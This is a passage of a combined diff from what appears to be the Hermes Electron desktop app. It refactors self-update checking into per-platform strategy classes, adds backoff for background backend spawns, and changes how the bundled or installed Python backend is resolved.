hermes_cli.profiles._PROFILE_ID_RE so we never hand the backend a// value its profile resolver would reject and exit on.- const PROFILE_NAME_RE = /^[a-z0-9][a-z0-9_-]{0,63}$/+ const PROFILE_NAME_RE = DESKTOP_PROFILE_NAME_RE// Branch we track for self-update. The GUI work has merged to main, so this// tracks main. User can also override at runtime via// hermesDesktop.updates.setBranch().@@@ -1481,12 -1598,27 +1513,14 @@@ function promotePoolEntry(entry: any):entry.localBackendSpawnRequest?.promote?.('foreground')}- // Land a spawn failure in desktop.log. A background slot-wait timeout is- // routine under a saturated pool (the next hydration pass retries), so it is- // logged as such instead of as a backend-start failure.-// A passive read (background tile reconcile, #103375) may only be served by a-// backend that already exists: it never cold-starts a pooled child, never-// takes a slot, and never refreshes lastActiveAt, so an open-but-unviewed tile-// cannot keep the pool saturated. Callers treat the rejection as "nothing to-// refresh yet"; primary-routed profiles are always warm and never reach here.-function assertNotPassiveSpawn(passive: boolean, poolKey: string): void {- if (passive) {- throw new Error(`Passive read: no warm backend for "${poolKey}"`)- }-}--// Land a spawn failure in desktop.log. Background slot waits back off per-// profile under a saturated pool, so a roster refresh cannot create a retry-// storm while a user-triggered foreground open still gets its reserved slot.++// Background hydration backs off after a slot timeout. Foreground opens bypass the cooldown.function logPoolSpawnFailure(label: string, error: unknown): void {+ if (isBackgroundSlotRetryDeferred(error)) {+ return+ }+if (isBackgroundSlotWaitTimeout(error)) {- rememberLog(`Profile backend ${label} slot wait timed out (background); will retry on the next hydration`)+ rememberLog(`Profile backend ${label} slot wait timed out (background); retry is backing off`)} else {rememberLog(`Hermes backend for profile ${label} failed to start: ${error instanceof Error ? error.message : String(error)}`@@@ -2976,292 -3162,303 +2963,292 @@@ function emitUpdateProgress(payload)}}-// Self-heal the tracked update branch: if origin no longer publishes it (e.g.-// bb/gui was merged into main and deleted), fall back to main and persist so-// every later check/apply follows main — no manual flip, even for already--// installed clients. Read-only ls-remote probe; only flips on a definitive-// "ref absent" (exit 2), never on a transient network error, so a flaky-// connection can't strand a user on the wrong branch.-async function resolveHealedBranch(updateRoot, branch) {- if (!branch || branch === 'main') {- return branch || 'main'- }+async function checkUpdates(opts: { force?: boolean } = {}): Promise<UpdaterStatusWire> {+ // A packaged install delegates to the update owner named by its stamp.+ let strategy: UpdaterStrategy | null = null- const originUrl = await getOriginUrl(updateRoot)- const remote = isOfficialSshRemote(originUrl) ? OFFICIAL_REPO_HTTPS_URL : 'origin'- const probe = await runGit(['ls-remote', '--exit-code', '--heads', remote, branch], { cwd: updateRoot })+ try {+ strategy = await resolvePackagedUpdateStrategy()- if (probe.code !== 2) {- return branch+ if (strategy) { return await strategy.check(opts) }+ } catch (error) {+ return {+ supported: true,+ mechanism: strategy?.mechanism,+ error: 'check-failed',+ message: error instanceof Error ? error.message : String(error),+ fetchedAt: Date.now()+ }}- rememberLog(`[updates] origin/${branch} is gone (merged?); falling back to main`)- const config = readDesktopUpdateConfig()+ // Checkout install: dispatch through the strategy layer — one mechanism,+ // one stamp, no direct body path. The flow lives in updater/checkout.ts;+ // this is the only production door to the checkout arms.+ return resolveCheckoutUpdateStrategy().check(opts)+}- if (config.branch !== 'main') {- writeDesktopUpdateConfig({ ...config, branch: 'main' })- }+let updateInFlight = false- return 'main'-}+// ── bundled / App Installer helpers ─────────────────────────────────────────-// Passive checks never touch git's network side. Every client used to `git-// fetch` twice per half hour; across the install base that was tens of-// millions of pack negotiations a day against one repo (GitHub flagged it).-// The REST API answers the same question in one 40-byte response, so the-// check is API-first with a 24h on-disk cache keyed on local HEAD (applying an-// update changes HEAD, which busts the cache immediately). `git fetch` runs only-// inside applyUpdates. `force` (menu item, Settings "Check now") skips the-// cache; the renderer's background poller never passes it.-async function checkUpdates({ force = false }: { force?: boolean } = {}) {- const updateRoot = resolveUpdateRoot()- let { branch } = readDesktopUpdateConfig()- const gitDir = path.join(updateRoot, '.git')+/**+ * Keep the native updater instance alive across check, download and install.+ * Its identity comes from the packaged app, not its optional Python payload.+ */+const updateOperation: UpdateOperation = new UpdateOperation(createPackagedUpdateStrategy)- if (!directoryExists(gitDir)) {- return {- supported: false,- reason: 'not-a-git-checkout',- message:- "This copy of Hermes can't update itself from inside the app. Download the latest version from the Hermes website, " +- `or reinstall Hermes to enable in-app updates. Details: ${updateRoot} has no version-control metadata.`,- hermesRoot: updateRoot,- branch- }- }+function resolvePackagedUpdateStrategy(): Promise<UpdaterStrategy | null> {+ return updateOperation.resolve()+}- const git = args => runGit(args, { cwd: updateRoot }).then(r => r.stdout.trim())+async function createPackagedUpdateStrategy(): Promise<UpdaterStrategy | null> {+ const mechanism = resolveUpdaterMechanism({+ platform: process.platform,+ updateMechanism: INSTALL_STAMP?.updateMechanism,+ source: INSTALL_STAMP?.source+ })- const [currentSha, dirtyStr, currentBranch, originUrl] = await Promise.all([- git(['rev-parse', 'HEAD']),- git(['status', '--porcelain']),- git(['rev-parse', '--abbrev-ref', 'HEAD']),- getOriginUrl(updateRoot)- ])+ if (mechanism === 'windows-handoff' || mechanism === 'posix-handoff') { return null }- const cached = readUpdateCheckCache()- const now = Date.now()- if (!force && cacheIsFresh(cached, { branch, currentSha, now })) {- return { ...cached.status, dirty: dirtyStr.length > 0, currentBranch }+ if (INSTALL_STAMP?.channelBuild && (mechanism === 'electron-updater' || mechanism === 'app-installer')) {+ const build = INSTALL_STAMP.channelBuild+ const installed = await inspectRunningChannelApp(build)+ const payload = bundledPayload(process.resourcesPath)+ if (!payload || (process.platform !== 'darwin' && process.platform !== 'win32') || (process.arch !== 'arm64' && process.arch !== 'x64')) {+ throw new Error('Channel updates require a supported bundled application')+ }+ return new ChannelStrategy({+ build, mechanism,+ resolver: new ChannelResolver({ build, platform: process.platform, arch: process.arch, signer: installed.signer }),+ nativeFactory: (target: ChannelTarget): UpdaterStrategy => createNativePackagedStrategy(mechanism, target)+ })}- branch = await resolveHealedBranch(updateRoot, branch)- const slug = githubRepoSlug(originUrl)+ return createNativePackagedStrategy(mechanism)+}- const status = slug- ? await checkUpdatesViaApi({ slug, branch, currentSha })- : await checkUpdatesViaLsRemote({ updateRoot, branch, currentSha })+function createNativePackagedStrategy(mechanism: UpdaterStrategy['mechanism'], target?: ChannelTarget): UpdaterStrategy {- const result = {- supported: true,- branch,- currentBranch,- currentSha,- dirty: dirtyStr.length > 0,- hermesRoot: updateRoot,- fetchedAt: now,- ...status+ if (mechanism === 'electron-updater') {+ const deps: Parameters<typeof createMacStrategy>[0] = {+ channel: resolveUpdaterChannelFromStamp(),+ light: isLightVariant(),+ feedBaseUrl: resolveDesktopFeedBaseUrl(),+ appVersion: app.getVersion(),+ log: rememberLog,+ emitProgress: emitUpdateProgress,+ beforeInstall: teardownBundledBackend,+ onInstallFailure: restoreBundledBackend+ }+ return target ? createChannelMacStrategy(deps, target) : createMacStrategy(deps)}- writeUpdateCheckCache({ fetchedAt: now, currentSha, branch, status: result })-- return result-}+ if (mechanism === 'app-installer') {+ const payload = bundledPayload(process.resourcesPath)!-function readUpdateCheckCache() {- try {- const parsed = JSON.parse(fs.readFileSync(DESKTOP_UPDATE_CHECK_CACHE_PATH, 'utf8'))+ const deps: ConstructorParameters<typeof AppInstallerStrategy>[0] = {+ python: payload.storePython,+ // The checker ships inside the payload's repo snapshot (git archive of+ // the committed tree): <payload>/<repo>/apps/desktop/scripts/.+ script: path.join(payload.repoDir, 'apps', 'desktop', 'scripts', 'check-appinstaller-update.py'),+ run: (python, script) => runAppInstallerChecker(python, script, {+ env: { ...process.env, PYTHONPATH: payload.sitePackages },+ onStderr: stderr => console.error(`[app-installer] checker stderr: ${stderr.slice(0, 400)}`)+ }),+ channel: resolveUpdaterChannelFromStamp(),+ light: isLightVariant(),+ feedBaseUrl: resolveDesktopFeedBaseUrl(),+ installer: {+ prepare: url => stageAppInstallerFile(url, path.join(app.getPath('userData'), 'updates')),+ open: file => shell.openPath(file)+ },+ teardownBundledBackend,+ restoreBundledBackend,+ emitUpdateProgress,+ appVersion: INSTALL_STAMP?.channelBuild?.windowsVersion ?? app.getVersion(),+ quit: () => app.quit(),+ registerPendingRelaunch: (fromVersion: string): Promise<RelaunchRegistration> =>+ registerUpdateRelaunch(app, fromVersion, {+ // The relaunch mechanism: a detached waiter, external to the dying+ // process. It snapshots the OLD package, signals the handshake,+ // waits for this process to exit and for the OS to swap the+ // installed package version, then activates the NEW package.+ // Electron's app.relaunch would re-execute the OLD package's+ // binary and can hold the swap open, so it is not used. The+ // script is staged to a temp dir and resolved absolutely so+ // nothing inherited from the package holds the swap open.+ relaunch: () =>+ startRelaunchWaiter({+ processId: process.pid,+ processStartTimeMs: Math.round(Date.now() - process.uptime() * 1000),+ identityName: PRODUCT_IDENTITY.msixAppIdWithOrg,+ scriptPath: path.join(+ payload.repoDir,+ 'apps',+ 'desktop',+ 'scripts',+ 'update-relaunch-waiter.ps1'+ )+ })+ })+ }+ return target ? createChannelAppInstallerStrategy(deps, target, verifyPreparedChannelInstaller) : new AppInstallerStrategy(deps)+ }++ if (mechanism === 'microsoft-store') {+ const payload = bundledPayload(process.resourcesPath)!+ return createStoreStrategy({+ python: payload.storePython,+ script: path.join(payload.repoDir, 'apps', 'desktop', 'scripts', 'check-store-update.py'),+ sitePackages: payload.sitePackages,+ env: process.env,+ windowHandle: () => (BrowserWindow.getFocusedWindow() ?? mainWindow)?.getNativeWindowHandle() ?? null,+ appVersion: app.getVersion(),+ teardown: teardownBundledBackend,+ restore: restoreBundledBackend,+ emitProgress: emitUpdateProgress,+ quit: () => app.quit(),+ registerPendingRelaunch: (fromVersion: string): Promise<RelaunchRegistration> => registerUpdateRelaunch(app, fromVersion, {+ relaunch: () => startRelaunchWaiter({+ processId: process.pid,+ processStartTimeMs: Math.round(Date.now() - process.uptime() * 1000),+ identityName: PRODUCT_IDENTITY.storeMsix!.identityName,+ scriptPath: path.join(payload.repoDir, 'apps', 'desktop', 'scripts', 'update-relaunch-waiter.ps1'),+ timeoutSeconds: 1860+ })+ })+ })- return parsed && typeof parsed === 'object' && parsed.status ? parsed : null- } catch {- return null}-}-function writeUpdateCheckCache(entry) {- try {- fs.mkdirSync(path.dirname(DESKTOP_UPDATE_CHECK_CACHE_PATH), { recursive: true })- writeFileAtomic(DESKTOP_UPDATE_CHECK_CACHE_PATH, JSON.stringify(entry))- } catch (error) {- rememberLog(`[updates] could not persist check cache: ${error?.message || error}`)- }+ return new ExternalStrategy(INSTALL_STAMP)}-// GitHub origins (official repo AND forks): tip SHA via the commits endpoint,-// then the compare endpoint only when the tips differ — it yields the exact-// behind count plus the commit list the overlay renders, replacing both-// `rev-list --count` and `git log HEAD..origin/<branch>`.-async function checkUpdatesViaApi({ slug, branch, currentSha }) {- let targetSha+/**+ * The checkout updater strategy (windows-handoff / posix-handoff). The flow+ * lives in updater/checkout.ts; this is the composition root that hands it+ * the app shell's impure edges. The public checkUpdates/applyUpdates+ * entrypoints dispatch only through this strategy — there is no other+ * production path to the checkout arms.+ */+function resolveCheckoutUpdateStrategy(): UpdaterStrategy {+ return createCheckoutStrategy({+ hermesHome: HERMES_HOME,+ isWindows: IS_WINDOWS,+ isMac: IS_MAC,+ defaultUpdateBranch: DEFAULT_UPDATE_BRANCH,+ updateHandoffDwellMs: UPDATE_HANDOFF_DWELL_MS,- readSourceUpdate: (updateRoot: string, opts: { force?: boolean }): Promise<SourceUpdate | null> => readSourceUpdate({- python: findPythonForRoot(updateRoot),++ readSourceUpdate: async (updateRoot: string, opts: { force?: boolean }): Promise<SourceUpdate | null> => readSourceUpdate({++ python: await findPythonForRoot(updateRoot),+ git: resolveGitBinary(),+ updateRoot,+ hermesHome: HERMES_HOME,+ branchConfigPath: DESKTOP_UPDATE_CONFIG_PATH,+ force: opts.force+ }),+ resolveUpdateRoot,+ resolveUpdaterBinary,++ emitUpdateProgress,+ rememberLog,+ startHermes,+ stopBackendsForUpdate,+ repairMacUpdaterHelper,- preflightStateDb: (home: string, log: (message: string) => void): void => {++ preflightStateDb: async (home: string, log: (message: string) => void): Promise<void> => {+ const root: string = resolveUpdateRoot()- preflightStateDb({ python: findPythonForRoot(root), script: path.join(root, 'hermes_cli', 'backup_sqlite.py'), home, log })++ preflightStateDb({ python: await findPythonForRoot(root), script: path.join(root, 'hermes_cli', 'backup_sqlite.py'), home, log })+ },+ runningAppBundle,+ markQuittingForHandoff: () => {+ isQuittingForHandoff = true+ },+ quit: () => app.quit()+ })+}- try {- targetSha = String(await fetchGitHubApi(branchTipApiUrl(slug, branch), 'application/vnd.github.sha')).trim()- } catch (error) {- return { error: 'fetch-failed', message: describeUpdateCheckFailure(error) }- }+/**+ * The App Installer feed base URL for a bundled MSIX install: config.yaml's+ * `updates.desktop_feed_base_url`, then HERMES_DESKTOP_FEED_BASE_URL, then+ * Windows' registered App Installer source when no override is set.+ */+function resolveDesktopFeedBaseUrl(): string {+ const configured: string = readUpdatesFeedBaseFromConfig(path.join(HERMES_HOME, 'config.yaml'))- if (!/^[0-9a-f]{40}$/i.test(targetSha)) {- return { error: 'fetch-failed', message: 'GitHub API returned no tip SHA.' }- }+ if (configured) {return configured}+ const env: string | undefined = process.env.HERMES_DESKTOP_FEED_BASE_URL- if (targetSha === currentSha) {- return { behind: 0, updateAvailable: false, targetSha, commits: [] }- }+ if (env) {return env}- // Compare failure (rate-limited, local-only HEAD 404) keeps the honest- // "update available, count unknown" — never a fabricated number.- const compared = await fetchGitHubApi(compareApiUrl(slug, currentSha, targetSha))- .then(parseCompare)- .catch(() => null)+ return ''+}- // ahead_by === 0 with differing tips: the remote tip is reachable from our- // HEAD — a local commit sitting AHEAD, not behind. Flagging that as an update- // nudges the user into wiping their work.- if (compared?.behind === 0) {- return { behind: 0, updateAvailable: false, targetSha, commits: [] }- }+/** The updater channel from the baked install stamp ('canary' vs 'stable'). */+function resolveUpdaterChannelFromStamp(): string {+ return packagedReleaseChannel(INSTALL_STAMP) ?? 'stable'+}- return {- behind: compared ? compared.behind : null,- updateAvailable: true,- targetSha,- commits: compared?.commits ?? []- }+/** True when this artifact is the light (remote-only) variant. */+function isLightVariant(): boolean {+ return INSTALL_STAMP?.payload === 'light'}-// Non-GitHub origins: one ls-remote for the tip SHA (still no pack transfer),-// counting via the local graph only when the tip is already known locally.-async function checkUpdatesViaLsRemote({ updateRoot, branch, currentSha }) {- const target = await runGit(['ls-remote', 'origin', `refs/heads/${branch}`], { cwd: updateRoot })- const targetSha = firstLine(target.stdout).split(/\s+/)[0] || ''+/** Invalidate connections and wait for every owned backend before the swap. */+async function teardownBundledBackend(): Promise<void> {+ isQuittingForHandoff = true+ const results = await Promise.allSettled([teardownPrimaryBackendAndWait(), stopAllPoolBackends()])+ const errors = results.filter(result => result.status === 'rejected').map(result => result.reason)- if (target.code !== 0 || !targetSha) {- return { error: 'fetch-failed', message: firstLine(target.stderr) || 'git ls-remote failed.' }+ if (errors.length) {+ // An incomplete shutdown blocks replacement until a retry proves exit.+ backendStartFailure = new AggregateError(errors, 'Backend shutdown failed')+ throw backendStartFailure}+}- if (targetSha === currentSha) {- return { behind: 0, updateAvailable: false, targetSha, commits: [] }+async function restoreBundledBackend(): Promise<void> {+ try {+ // A failed stop retains its process handle. Retry before enabling a new start.+ await teardownBundledBackend()+ } finally {+ isQuittingForHandoff = false+ updateInFlight = false}- const known = (await runGit(['cat-file', '-e', `${targetSha}^{commit}`], { cwd: updateRoot })).code === 0+ backendStartFailure = null+ await startHermes()+}- const isAncestor =- known && (await runGit(['merge-base', '--is-ancestor', targetSha, 'HEAD'], { cwd: updateRoot })).code === 0+// Set to true when the desktop is about to quit so a detached swap/install/+// uninstall script can take over. On macOS, app.quit() closes windows but+// window-all-closed deliberately keeps the process alive (standard Electron+// macOS convention). Without this flag the process never exits — the detached+// hand-off script spins its PID-wait for the full timeout, and the user sees a+// blank app with no window (and an uninstall that appears to do nothing). When+// set, window-all-closed calls app.quit() on every platform so the process+// actually dies and the hand-off script can proceed immediately.+let isQuittingForHandoff = false- if (isAncestor) {- return { behind: 0, updateAvailable: false, targetSha, commits: [] }- }+// Quit-guard latches: one while the confirmation is on screen (a second+// Cmd-Q must not stack dialogs), one after the user has said "quit anyway"+// (the app.quit() that follows re-enters before-quit and must pass through).+let quitPromptOpen = false+let quitConfirmedWithActiveWork = false- return { behind: null, updateAvailable: true, targetSha, commits: [] }+// Resolve the staged updater binary the desktop may hand an update to. On+// Windows that binary owns ALL repo mutation — running `hermes update` ++// rebuilding the desktop — so the desktop never touches its own bits while+// running. macOS/Linux stage the same binary but deliberately do not use it;+// see resolveStagedUpdaterBinary for the policy and for #74836. Returns null+// whenever no hand-off applies; callers degrade gracefully.+function resolveUpdaterBinary() {+ return resolveStagedUpdaterBinary(HERMES_HOME, { fileExists, isWindows: IS_WINDOWS })}-// GITHUB_TOKEN / GH_TOKEN from the environment, when present, moves the call-// from the anonymous 60/hour-per-IP budget to the token's 5,000/hour one; the-// header shape is otherwise unchanged. Read per request, never stored.-//-// A token GitHub rejects (401: expired, revoked, malformed) must not turn a-// check that worked anonymously into a hard failure, so the call is retried-// once without it; the rejection is logged once per process.-let warnedRejectedGitHubToken = false--async function fetchGitHubApi(url, accept = 'application/vnd.github+json') {- const token = githubTokenFromEnv(process.env)-- try {- return await fetchGitHubApiOnce(url, accept, token)- } catch (error) {- if (!envTokenRejected(error)) {- throw error- }-- if (!warnedRejectedGitHubToken) {- warnedRejectedGitHubToken = true- rememberLog(- '[updates] api.github.com rejected the GITHUB_TOKEN / GH_TOKEN from the environment (HTTP 401); ' +- 'retrying the update check anonymously'- )- }-- return fetchGitHubApiOnce(url, accept, null)- }-}--function fetchGitHubApiOnce(url, accept, token) {- return new Promise((resolve, reject) => {- const req = https.get(- url,- {- headers: githubApiHeaders(- {- Accept: accept,- // GitHub requires a UA on api.github.com; requests without one 403.- 'User-Agent': 'hermes-desktop-update-check'- },- token- ),- timeout: 10_000- },- res => {- const chunks = []- res.on('error', reject)- res.on('data', chunk => chunks.push(chunk))- res.on('end', () => {- const body = Buffer.concat(chunks).toString('utf8')-- if ((res.statusCode || 500) >= 400) {- reject(- Object.assign(new Error(`HTTP ${res.statusCode}`), {- statusCode: res.statusCode,- ...rateLimitFromHeaders(res.headers),- authenticated: Boolean(token)- })- )-- return- }-- if (accept === 'application/vnd.github.sha') {- resolve(body)-- return- }-- try {- resolve(JSON.parse(body))- } catch (error) {- reject(error)- }- })- }- )-- req.on('timeout', () => req.destroy(new Error('timeout')))- req.on('error', reject)- })-}--let updateInFlight = false--// Set to true when the desktop is about to quit so a detached swap/install/-// uninstall script can take over. On macOS, app.quit() closes windows but-// window-all-closed deliberately keeps the process alive (standard Electron-// macOS convention). Without this flag the process never exits — the detached-// hand-off script spins its PID-wait for the full timeout, and the user sees a-// blank app with no window (and an uninstall that appears to do nothing). When-// set, window-all-closed calls app.quit() on every platform so the process-// actually dies and the hand-off script can proceed immediately.-let isQuittingForHandoff = false--// Quit-guard latches: one while the confirmation is on screen (a second-// Cmd-Q must not stack dialogs), one after the user has said "quit anyway"-// (the app.quit() that follows re-enters before-quit and must pass through).-let quitPromptOpen = false-let quitConfirmedWithActiveWork = false--// Resolve the staged updater binary the desktop may hand an update to. On-// Windows that binary owns ALL repo mutation — running `hermes update` +-// rebuilding the desktop — so the desktop never touches its own bits while-// running. macOS/Linux stage the same binary but deliberately do not use it;-// see resolveStagedUpdaterBinary for the policy and for #74836. Returns null-// whenever no hand-off applies; callers degrade gracefully.-function resolveUpdaterBinary() {- return resolveStagedUpdaterBinary(HERMES_HOME, { fileExists, isWindows: IS_WINDOWS })-}--function repairMacUpdaterHelper(updater) {- if (!IS_MAC || !updater) {- return- }+function repairMacUpdaterHelper(updater) {+ if (!IS_MAC || !updater) {+ return+ }try {execFileSync('/usr/bin/xattr', ['-cr', updater], { stdio: 'ignore' })@@@ -3845,11 -4398,26 +3834,11 @@@ async function handOffWindowsBootstrapRconst updateRoot = resolveUpdateRoot()const { branch: configuredBranch } = readDesktopUpdateConfig()- const branch = directoryExists(path.join(updateRoot, '.git'))- ? await resolveHealedBranch(updateRoot, configuredBranch || DEFAULT_UPDATE_BRANCH)- : configuredBranch || DEFAULT_UPDATE_BRANCH-- const venvBin = path.join(resolveVenvDir(updateRoot), IS_WINDOWS ? 'Scripts' : 'bin')- const venvHermes = path.join(venvBin, IS_WINDOWS ? 'hermes.exe' : 'hermes')- const venvPython = path.join(venvBin, IS_WINDOWS ? 'python.exe' : 'python')-- // The updater invokes the venv's Hermes launcher, which in turn requires the- // venv interpreter. A bootstrap-complete marker proves only that setup once- // finished; it can outlive a manually removed or quarantined venv. Sending a- // marker-only install through --update dead-ends at "Could not find the hermes- // CLI" instead of rebuilding the runtime, so only a runnable pair gets the- // gentle update path. Partial or missing runtimes go through full repair.- const updaterArgs = chooseUpdaterArgs(- {- hasBootstrapMarker: fileExists(path.join(updateRoot, '.hermes-bootstrap-complete')),- hasVenvHermes: fileExists(venvHermes),- hasVenvPython: fileExists(venvPython)- },+ // Recovery can run without Python. Keep the chosen branch; do not guess a replacement.+ const branch: string = configuredBranch || DEFAULT_UPDATE_BRANCH++ const updaterArgs: string[] = chooseUpdaterArgs(- { runtimeUsable: isSourceRuntimeUsable(updateRoot) },++ { runtimeUsable: await isSourceRuntimeUsable(updateRoot) },branch)@@@ -3961,17 -4741,24 +3950,17 @@@ function readBootstrapMarker()// or a DMG launch over a prior CLI install satisfies this WITHOUT the desktop// ever having written the bootstrap marker -- so we must be able to recognise// "already installed" off the filesystem alone, not just the marker.- function isSourceRuntimeUsable(root: string): boolean {- return resolveSourceInstallationBackend(root, [], { hermesHome: HERMES_HOME }) !== null-async function isActiveRuntimeUsable() {- const venvPython = getVenvPython(VENV_ROOT)++async function isSourceRuntimeUsable(root: string): Promise<boolean> {++ return await resolveSourceInstallationBackend(root, [], { hermesHome: HERMES_HOME }) !== null+}- function isActiveRuntimeUsable(): boolean {- return (- isHermesSourceRoot(ACTIVE_HERMES_ROOT) &&- fileExists(venvPython) &&- // Explicit await: a bare promise as the last `&&` operand only works via- // async-return flattening; any operand appended after it would make the- // expression truthy regardless of the probe result.- (await canImportHermesCli(venvPython, {- env: {- PYTHONPATH: [ACTIVE_HERMES_ROOT, process.env.PYTHONPATH].filter(Boolean).join(path.delimiter)- }- }))- )++function isActiveRuntimeUsable(): Promise<boolean> {+ return isSourceRuntimeUsable(ACTIVE_HERMES_ROOT)}-async function activeRuntimeState() {+function activeRuntimeState(- backend: SourceBackend | null = resolveSourceInstallationBackend(ACTIVE_HERMES_ROOT, [], { hermesHome: HERMES_HOME })++ backend: SourceBackend | null+): ActiveRuntimeState {// We DELIBERATELY do NOT verify that the checkout is currently at the// pinned commit -- users update via the in-app update path or `hermes// update`, which moves HEAD legitimately. The marker only attests "a@@@ -4258,33 -5015,69 +4272,33 @@@ function writeDefaultProjectDir(dir)}}- function resolveHermesBackend(backendArgs: string[]): ResolvedHermesBackend {-async function createPythonBackend(root, label, backendArgs, options: any = {}) {- const python = await findPythonForRoot(root)++async function resolveHermesBackend(backendArgs: string[]): Promise<ResolvedHermesBackend> {+ const payload = bundledPayload(process.resourcesPath)- if (!python) {- return null- }-- // The venv whose interpreter we selected is the venv whose site-packages- // belong on PYTHONPATH — findPythonForRoot may have picked `.venv` over- // `venv`, and mixing the two crashes the backend on its first native- // import (see venvRootForPython). Fall back to root/venv only for a- // system python, where the historical layout is the best guess.- const venvRoot = venvRootForPython(python, root) ?? path.join(root, 'venv')- const venvPython = getVenvPython(venvRoot)- const command = IS_WINDOWS && fileExists(venvPython) ? venvPython : python-- return {- kind: 'python',- label,- command,- args: ['-m', 'hermes_cli.main', ...backendArgs],- env: buildDesktopBackendEnv({- hermesHome: HERMES_HOME,- pythonPathEntries: [root, ...getVenvSitePackagesEntries(venvRoot)],- venvRoot- }),- root,- bootstrap: Boolean(options.bootstrap),- shell: false- }-}--// createActiveBackend — build a backend pointing at ACTIVE_HERMES_ROOT, the-// canonical install location shared with the CLI installer. The venv at-// VENV_ROOT may not exist yet on first run; bootstrap=true tells-// ensureRuntime() to create / refresh it before launch.-async function createActiveBackend(backendArgs) {- const venvPython = getVenvPython(VENV_ROOT)- const command = fileExists(venvPython) ? venvPython : await findSystemPython()+ if (payload) {+ if (!IS_WINDOWS) {+ provisionCliLinks(payload.commands, path.join(os.homedir(), '.local', 'bin'), rememberLog)+ }- return {- kind: 'python',- label: `Hermes at ${ACTIVE_HERMES_ROOT}`,- command,- args: ['-m', 'hermes_cli.main', ...backendArgs],- env: buildDesktopBackendEnv({- hermesHome: HERMES_HOME,- pythonPathEntries: [ACTIVE_HERMES_ROOT, ...getVenvSitePackagesEntries(VENV_ROOT)],- venvRoot: VENV_ROOT- }),- root: ACTIVE_HERMES_ROOT,- bootstrap: true,- shell: false+ return {+ kind: 'python',+ label: `bundled payload at ${payload.root}`,+ command: payload.shim,+ args: [...backendArgs],+ env: { ...buildDesktopBackendEnv(), HERMES_RUNTIME_DIR: payload.toolsDir },+ root: payload.repoDir,+ bootstrap: false,+ shell: false,+ local: 'bundled'+ }}-}-async function resolveHermesBackend(backendArgs) {// 1. Explicit override -- HERMES_DESKTOP_HERMES_ROOT points at a developer// checkout. Honour it as-is (no bootstrap; the user is driving).- const overrideRoot = process.env.HERMES_DESKTOP_HERMES_ROOT && path.resolve(process.env.HERMES_DESKTOP_HERMES_ROOT)+ const overrideRoot: string | undefined = process.env.HERMES_DESKTOP_HERMES_ROOT && path.resolve(process.env.HERMES_DESKTOP_HERMES_ROOT)if (overrideRoot && isHermesSourceRoot(overrideRoot)) {- const backend: SourceBackend | null = createSourcePythonBackend(overrideRoot, findPythonForRoot(overrideRoot), backendArgs)- const backend = await createPythonBackend(overrideRoot, `Hermes source at ${overrideRoot}`, backendArgs)++ const backend: SourceBackend | null = createSourcePythonBackend(overrideRoot, await findPythonForRoot(overrideRoot), backendArgs)if (backend) {return backend@@@ -4296,7 -5089,7 +4310,7 @@@// installed `hermes` on PATH so local Python edits are actually exercised.// (In dev with no checkout, SOURCE_REPO_ROOT won't pass isHermesSourceRoot.)if (!IS_PACKAGED && isHermesSourceRoot(SOURCE_REPO_ROOT)) {- const backend: SourceBackend | null = createSourcePythonBackend(SOURCE_REPO_ROOT, findPythonForRoot(SOURCE_REPO_ROOT), backendArgs)- const backend = await createPythonBackend(SOURCE_REPO_ROOT, `Hermes source at ${SOURCE_REPO_ROOT}`, backendArgs)++ const backend: SourceBackend | null = createSourcePythonBackend(SOURCE_REPO_ROOT, await findPythonForRoot(SOURCE_REPO_ROOT), backendArgs)if (backend) {return backend@@@ -4325,61 -5147,85 +4339,61 @@@if (looksLikeDesktopAppBinary(hermesCommand)) {rememberLog(`Ignoring desktop app executable on PATH while resolving Hermes CLI: ${hermesCommand}`)hermesCommand = null- }- }+ } else {- const unwrapped: ReturnType<typeof unwrapWindowsVenvHermesCommand> = unwrapWindowsVenvHermesCommand(hermesCommand, backendArgs)++ const unwrapped: Awaited<ReturnType<typeof unwrapWindowsVenvHermesCommand>> = await unwrapWindowsVenvHermesCommand(hermesCommand, backendArgs)- if (hermesCommand) {- const unwrapped = await unwrapWindowsVenvHermesCommand(hermesCommand, backendArgs)+ if (unwrapped) {+ return unwrapped+ }- if (unwrapped) {- return unwrapped- }+ const shellForProbe: boolean = isCommandScript(hermesCommand)- if (shouldTrustHermesOverride(hermesOverride) || verifyHermesCli(hermesCommand, { shell: shellForProbe })) {- // Smoke-test the candidate before trusting it. A `hermes` shim- // left behind by a half-uninstalled pip install (or a venv- // entry-point pointing at a deleted interpreter) still resolves- // via findOnPath but explodes on spawn -- the user then sees a- // dead backend instead of the first-launch installer. The cheap- // `--version` probe (see backend-probes.ts) catches that case- // and lets the resolver fall through to step 6 / bootstrap.- const shellForProbe = isCommandScript(hermesCommand)-- // HERMES_DESKTOP_HERMES is an explicit deployment override (used by- // the Nix wrapper), not a discovered PATH candidate. It must not fall- // through to the install-script bootstrap if the optional probe times- // out under load; the pinned backend is the only valid runtime there.- if (- shouldTrustHermesOverride(hermesOverride) ||- (await verifyHermesCli(hermesCommand, { shell: shellForProbe }))- ) {- // `unwrapped` above already answered "is this a Windows venv shim?" —- // it was null (not a shim, or its import probe failed). Do NOT re-run- // unwrapWindowsVenvHermesCommand here: the second call repeats the- // same un-memoized import probe, costing up to another full probe- // timeout on the boot path for an answer we already have.- return {- label: `existing Hermes CLI at ${hermesCommand}`,- command: hermesCommand,- args: backendArgs,- bootstrap: false,- env: {},- kind: 'command',- shell: shellForProbe++ if (shouldTrustHermesOverride(hermesOverride) || await verifyHermesCli(hermesCommand, { shell: shellForProbe })) {+ return {+ label: `existing Hermes CLI at ${hermesCommand}`,+ command: hermesCommand,+ args: backendArgs,+ bootstrap: false,+ env: {},+ kind: 'command',+ shell: shellForProbe,+ local: 'installed'+ }}- }- rememberLog(- `Ignoring existing Hermes CLI at ${hermesCommand}: --version probe failed; falling through to bootstrap.`- )+ rememberLog(+ `Ignoring existing Hermes CLI at ${hermesCommand}: --version probe failed; falling through to bootstrap.`+ )+ }}}- // 5. Last-ditch: pip-installed hermes_cli module via system Python.- // Same rationale as #4 -- the user installed this; we use it but don't- // take ownership.- const python = await findSystemPython()+ // 4. ACTIVE_HERMES_ROOT — the canonical install at+ // %LOCALAPPDATA%\\hermes\\hermes-agent (Windows) or ~/.hermes/hermes-agent.+ // A valid bootstrap marker proves Desktop finished the first-run install+ // flow, but marker provenance is NOT the same thing as runtime usability:+ // the CLI can publish the same installation launcher, and older desktop+ // builds could leave a healthy install behind without the marker. If the+ // active runtime is usable, launch it directly; only fall through to+ // bootstrap when the runtime itself is unusable.- const activeBackend: SourceBackend | null = resolveSourceInstallationBackend(ACTIVE_HERMES_ROOT, 